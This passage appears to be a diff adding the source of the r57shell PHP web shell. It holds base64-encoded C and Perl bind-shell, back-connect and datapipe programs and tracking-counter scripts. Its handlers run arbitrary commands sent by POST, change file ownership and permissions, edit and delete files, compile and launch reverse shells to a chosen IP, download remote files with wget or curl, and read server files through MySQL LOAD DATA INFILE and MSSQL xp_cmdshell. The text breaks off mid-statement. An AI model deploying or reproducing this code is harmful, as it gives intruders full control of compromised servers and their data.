+AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c +29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG +J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol +NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ +SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 +yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp +IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW +QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +$c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2 +JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l +lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW +FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L +3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr +J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR +oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj +xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO +i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv +dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB +ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2 +hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg=="; +$c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh +IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl +hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz +tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa +XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u +8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV +ybmV0LS0+"; +echo $head; +echo '</head>'; +if(empty($_POST['cmd'])) { +$serv = array(127,192,172,10); +$addr=@explode('.', $_SERVER['SERVER_ADDR']); +$current_version = str_replace('.','',$version); +if (!in_array($addr[0], $serv)) { +@print ""; +@readfile ("");}} +echo '<body bgcolor="#e4e0d8"><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(1).'&nbsp; +<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b> +</font></td><td bgcolor=#cccccc><font face=Verdana size=-2>'; +echo ws(2); +echo "<b>".date ("d-m-Y H:i:s")."</b>"; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>"; +echo ws(2); +echo (($safe_mode)?("safe_mode: <b><font color=green>ON</font></b>"):("safe_mode: <b><font color=red>OFF</font></b>")); +echo ws(2); +echo "PHP version: <b>".@phpversion()."</b>"; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>")); +echo ws(2); +echo "MySQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b>"; } +echo ws(2); +echo "MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo ws(2); +echo "PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo ws(2); +echo "Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo "<br>".ws(2); +echo "Disable functions : <b>"; +if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = @round(100/($all/$free),2); +echo "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>"; +echo '</font></td></tr><table> +<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td align=right width=100>'; +echo $font; +if(!$windows){ +echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +$uname = ex('uname -a'); +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); +if(!$safe_mode){ +$bsd1 = ex('sysctl -n kern.ostype'); +$bsd2 = ex('sysctl -n kern.osrelease'); +$lin1 = ex('sysctl -n kernel.ostype'); +$lin2 = ex('sysctl -n kernel.osrelease'); +} +if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; } +else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; } +else { $sysctl = "-"; } +echo ws(3).$sysctl."<br>"; +echo ws(3).ex('echo $OSTYPE')."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +$id = ex('id'); +echo((!empty($id))?(ws(3).$id."<br>"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>")); +echo ws(3).$dir; +echo "</b></font>"; +} +else +{ +echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +echo ws(3).@substr(@php_uname(),0,120)."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +echo ws(3).@get_current_user()."<br>"; +echo ws(3).$dir."<br>"; +echo "</font>"; +} +echo "</font>"; +echo "</td></tr></table>"; +if(empty($c1)||empty($c2)) { die(); } +$f = '<br>'; +$f .= base64_decode($c1); +$f .= base64_decode($c2); +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + else { + fclose($file); + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; + } + } + else if($_POST['action'] == "delete") + { + if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; + } + else { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file") + { + if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } + if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; } + else { + echo $table_up3; + echo $font; + echo "<form name=save_file method=post>"; + echo ws(3)."<b>".$_POST['e_name']."</b>"; + echo "<div align=center><textarea name=e_text cols=121 rows=24>"; + echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))); + fclose($file); + echo "</textarea>"; + echo "<input type=hidden name=e_name value=".$_POST['e_name'].">"; + echo "<input type=hidden name=dir value=".$dir.">"; + echo "<input type=hidden name=cmd value=save_file>"; + echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); + echo "</div>"; + echo "</font>"; + echo "</form>"; + echo "</td></tr></table>"; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); } + else { + @fwrite($file,$_POST['e_text']); + @fclose($file); + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; + } + } +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf("/tmp/bd.c",$port_bind_bd_c); + $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); + @unlink("/tmp/bd.c"); + $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); + $_POST['cmd']="ps -aux | grep bd"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf("/tmp/bdpl",$port_bind_bd_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); + $_POST['cmd']="ps -aux | grep bdpl"; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf("/tmp/back.c",$back_connect_c); + $blah = ex("gcc -o /tmp/backc /tmp/back.c"); + @unlink("/tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/dp",$datapipe_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf("/tmp/dpc.c",$datapipe_c); + $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); + @unlink("/tmp/dpc.c"); + $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); + $_POST['cmd']="ps -aux | grep dpc"; +} +if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}} +if (!empty($HTTP_POST_FILES['userfile']['name'])) +{ +if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } +else { $nfn = $HTTP_POST_FILES['userfile']['name']; } +@copy($HTTP_POST_FILES['userfile']['tmp_name'], + $_POST['dir']."/".$nfn) + or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>"); +} +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case wget: + $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; + break; + case fetch: + $_POST['cmd'] = which('fetch')." -p ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + case lynx: + $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case links: + $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case GET: + $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case curl: + $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + } +} +echo $table_up3; +if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; +if($safe_mode) +{ + switch($_POST['cmd']) + { + case 'safe_dir': + $d=@dir($dir); + if ($d) + { + while (false!==($file=$d->read())) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if($windows){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + echo $inode." "; + echo perms(@fileperms($file)); + printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + $d->close(); + } + else echo $lang[$language._text29]; + break; + case 'safe_file': + if(@is_file($_POST['file'])) + { + $file = @file($_POST['file']); + if($file) + { + $c = @sizeof($file); + for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); } + } + else echo $lang[$language._text29]; + } + else echo $lang[$language._text31]; + break; + case 'test1': + $ci = @curl_init("file://".$_POST['test1_file'].""); + $cf = @curl_exec($ci); + echo $cf; + break; + case 'test2': + @include($_POST['test2_file']); + break; + case 'test3': + if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } + $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); + if($db) + { + if(@mysql_select_db($_POST['test3_md'],$db)) + { + $sql = "DROP TABLE IF EXISTS temp_r57_table;"; + @mysql_query($sql); + $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );"; + @mysql_query($sql); + $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;"; + @mysql_query($sql); + $sql = "SELECT * FROM temp_r57_table;"; + $r = @mysql_query($sql); + while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); } + $sql = "DROP TABLE IF EXISTS temp_r57_table;"; + @mysql_query($sql); + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to mysql server"; + break; + case 'test4': + if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } + $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); + if($db) + { + if(@mssql_select_db($_POST['test4_md'],$db)) + { + @mssql_query("drop table r57_temp_table",$db); + @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); + @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); + $res = mssql_query("select * from r57_temp_table",$db); + while(($row=@mssql_fetch_row($res))) + { + echo $row[0]."\r\n"; + } + @mssql_query("drop table r57_temp_table",$db); + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + } +} +else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_show")&&($_POST['cmd']!="db_query")){ + $cmd_rep = ex($_POST['cmd']); + if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; }} +if 